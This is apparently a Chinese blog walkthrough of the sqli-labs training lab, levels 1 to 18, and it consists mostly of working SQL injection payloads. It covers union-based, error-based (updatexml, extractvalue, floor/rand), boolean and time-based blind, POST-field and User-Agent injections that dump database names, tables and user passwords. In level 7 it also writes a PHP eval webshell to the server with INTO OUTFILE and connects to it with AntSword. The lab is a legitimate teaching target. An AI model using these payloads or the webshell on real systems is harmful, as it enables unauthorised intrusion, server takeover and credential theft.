0
点赞
收藏
分享

微信扫一扫

sql-labs通关

玉字璧 2022-03-11 阅读 59

less 1—单引号字符型注入

 

字符型注入,单引号

通过随机输入id得知用户名和密码,网址后面接?id=1

判断 Sql 注入漏洞的类型:1.数字型 2.字符型

用 and 1=1 和 and 1=2 来判断:

1.Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。


2.Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 ,页面运行错误,则说明此 Sql 注入为数字型注入。

 页面显示正常,说明不是数字型注入漏洞

判断注入点

?id=1' and 1=1--+

将1=1换成1=2,发现没有报错,但不显示信息,说明可以使用字符注入

 

判断列数

使用order by,从1开始逐渐递增,报错时停止。

?id=1' order by 1--+

由此我们可以确认列数为3(4报错)

?id=1' order by 1--+

?id=1' order by 2--+

 

?id=1' order by 3--+

?id=1' order by 4--+

 列数为3(4报错)

判断数据显示位置

?id=0' union select 1,2,3--+

然后便可以插入SQL的一些语句去查询更多信息

查找当前使用的数据库的名称

?id=-1' union select 1,2,database()--+

查询所有的库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

查询所有的表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

查找security数据库的信息
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+


查看user表中的列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

查看user表中的username这一列的值
?id=-1' union select 1,2,group_concat(username) from security.users--+

查看user表中的密码这一列的值

?id=-1' union select 1,2,group_concat(password) from security.users--+

 Less-2—整型注入

 判断注入点

?id=1 and 1=1--+


将1=1换成1=2,不显示信息,不报错。

 

 判断列数

?id=1 order by 1

 ?id=1 order by 2

 ?id=1 order by 3

 ?id=1 order by 4

列数为3(4报错)

判断数据显示位置

?id=0 union select 1,2,3

然后便可以插入SQL的一些语句去查询更多信息

查找当前使用的数据库的名称

?id=0 union select 1,database(),database()
查询所有的表名
?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(table_name) from information_schema.tables where table_schema='security')

查看user表中的列名
?id=0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')

查看user表中的username这一列的值
?id=0 union select 1,(select group_concat(username) from users),(select group_concat(username) from users)

查看user表中的密码这一列的值

?id=0 union select 1,(select group_concat(password) from users),(select group_concat(password) from users)

 Less-3

用?id=1 and1=2判断是否是数字型注入,执行后页面正常,说明不是数字型注入

 输入?id=1' 后报错,说明不是通过“  ’ ”来加密,那么我们可以多进行几次尝试,用“ )”尝试

查看源代码

 id被()和 ‘’ 加密,应该加 ') 

 判断列数

?id=89 ') order by 1--+

?id=89 ') order by 4--+

 查询显示位

?id=89 ') union select 1,2,3--+

获取表名

?id=89 ') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

 获取列名

?id=89 ') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

 获取用户名
?id=89 ') union select 1,(select group_concat(username) from users),(select group_concat(username) from users)--+

 获取密码

?id=89 ') union select 1,(select group_concat(password) from users),(select group_concat(password) from users)--+

 Less-4

 查看源代码,代码对$id进行了处理,加入了双引号

在url上加入”)

  查询显示位

?id=0") union select 1,2,3--+

获取数据库

?id=0") union select 1,2,database()--+

 获取用户名
?id=0") union select 1,(select group_concat(username) from users),(select group_concat(username) from users)--+

 获取密码

?id=0") union select 1,(select group_concat(password) from users),(select group_concat(password) from users)--+

 Less-5

 id是用单引号''包裹的,双查询注入

判断字段数

?id=1' order by 3--+

 ?id=1' order by 4--+

 通过报错来显示数据库

?id=1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+     

 通过报错来显示表名

?id=1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema='security'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+ 

 爆出列名

?id=1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+

 爆出用户名

?id=1' union select 1, count(*), concat((select username from users limit 0,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+

 ?id=1' union select 1, count(*), concat((select username from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+

 爆出密码

?id=1' union select 1, count(*), concat((select password from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+

  Less-6

 输入id值

?id=1

双引号字符型注入

 获取数据库名

?id=1" union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+     

 获取表名

?id=1" union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema='security'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+ 

 获取列名

?id=1" union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+

 获取用户名

?id=1"union select 1, count(*), concat((select username from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+

 获取密码

?id=1" union select 1, count(*), concat((select password from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+

Less-7—导出文件字符型注入

 ?id=1

查询结果不回显

  ?id=1'

发现本关不会显示具体的sql语法问题

 ?id=-1

发现页面回显和上图是一样的。所以本关sql语句有语法错误或者参数值在表中查询不到返回的页面是相同的,并且与参数值正确且无语法错误时不同

 需要使用蚁剑

在phpstudy目录中添加文件

添加php一句话木马在www文件下。修改后缀为php。

打开中国蚁剑,添加数据 

 

写入一句话木马程序

?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]);?>' into outfile 'D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\b.php'--+

进入中国蚁剑,添加数据

 点击测试连接,双击ip地址即可获取网站的webshell,即可通关

Less-8

?id=1

 页面正常,加引号判断

?id=1'

 当我们加入注释符–+后,页面显示正常,我们可以同第五关的办法进行通关。

?id=1' and length(database())=8 --+

页面正常显示,说明长度为8

判断数据库名第一位是否大于‘a’:

?id=1'and left(database(),1)>'a'--+

 然后b.c.d一直到s页面报错说明第一位为s

然后判断前两位是否大于'sa':

?id=1'and left(database(),2)>'sa'--+

以此类推.......可以使用二分法提高效率

然后猜解表名(ascii)

第一个表的第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+

第一个表的第二个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+

第二个表的第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114--+

继续猜解指定表下的列名(regexp注入)

users表下的列名?id=1'and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+ 猜users表下是否存在有us[a-z]]样式的列名

Less-9

?id=1' --+

 ?id=1' and '1'=1 --+

?id=1' and '1'=2 --+

?id=1' order by 4--+

使用时间盲注,类似于Less-8

爆破数据库

?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+

爆破表名

?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+

爆破内容

?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+

Less-10

?id=1" --+

 ?id=1" and '1'=1 --+

?id=1" and '1'=2 --+

?id=1" order by 4--+

使用时间盲注,类似于Less-8

?id=1" and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+

?id=1" and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+

?id=1" and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+

Less-11

进行post注入

先判断注入点,Username输入admin',报错,admin'# ,页面正常。说明有' '对参数包装

我们用burp抓一下包

 发送到重发器后进行sql注入,流程与get提交是一样的,先进行字段猜解

 查看可显字段

 开始爆数据

 

Less-12—双引号POST型字符型变形的注入

与Less-11相似

跟第十一关的区别就是采用了双引号加括号包装参数,admin")#

爆破数据库

?id=-1") union select 1,database() #

 爆破数据表

?id=-1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

 爆破users表的列

?id=-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

 爆破用户名和密码

?id=-1") union select 1,group_concat(username,':',password) from users #

Less-13—POST单引号变形双注入

本关用 ') 对Username和 Password进行处理,但是没有显示登录信息,只显示是否登录成功。

没有回显所以用报错注入。抓包后,注入

 uname=admin') and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema='security' ),0x7e),1)#&passwd=admin&submit=Submit

用上述语句直接扫描表名时,会有如下提示

 因为updatexml()报错注入的输出字符长度是32个字符,这里超了,所以直接在后面加上limit就好了

uname=admin') and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema='security' limit 0,1 ),0x7e),1)#&passwd=admin&submit=Submit

Less-14—POST单引号变形双注入

用双引号对参数进行了包装

直接进行测试,输入username:admin"

报错了,了id进行了 " 的操作。

这里和less13一样,主要是熟悉利用盲注。

简单列一下payload:

uname=admin"and left(database(),1)>'a'#&passwd=1&submit=Submit

可以登录成功。

在利用一下报错注入

uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submit=Submit

可以看到报错了,显示版本信息。

 Less-15

盲注 - 基于布尔值 - 字符串

怎么输入都没有回显,时间延迟

布尔测试payload

登陆成功

uname=admin' and 1=1 --+&passwd=admin&submit=Submit    

登录失败

uname=admin' and 1=2 --+&passwd=admin&submit=Submit   

 

 时间延迟测试payload

uname=admin' and sleep(5) --+&passwd=admin&submit=Submit

明显延迟,确定使用延迟注入

爆库,爆表,爆列名,爆值 

uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit


uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit


uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit


uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

Less-16基于bool型/时间延迟的双引号POST型盲注

时间延迟注入

payload和less-15差不多,只需要把上一题正的单引号改为双引号加括号 ") 就可以了

爆库,爆表,爆列名,爆值 

uname=admin") and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit


uname=admin") and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin") and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit


uname=admin") and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin") and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit


uname=admin") and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

Less-17基于错误的更新查询POST注入

php文件对uname做了check_input的处理,只截取15个字符

针对password爆破:

 爆库payload

 爆表名payload

 爆列名payload

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit

 最终payload:

uname=admin&passwd=11'  and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit

注入完成

Less-18

抓包修改user-agent为一下payload就可以了

测试爆库payload

 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

 payload可以参看,less-12 双引号报错型注入,只需要把双引号改为单引号就可以作为本题的payload

爆库payload

uname=admin' and extractvalue(1,concat(0x7e,(select database())))  and " &passwd=admin&submit=Submit

爆表payload

uname=admin'  and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))  and "  &passwd=admin&submit=Submit

爆列payload

uname=admin'  and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))  and "  &passwd=admin&submit=Submit

同样使用not in查询没有显示出的其他值。

爆值payload

uname=admin'  and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))  and "  &passwd=admin&submit=Submit

举报

相关推荐

sql-labs 1~10

Sql-labs 第一关超详细讲解

upload-labs 通关笔记

upload-labs 通关笔记_After

upload-labs靶场通关解密

记录自己在xss-labs的通关记录

0 条评论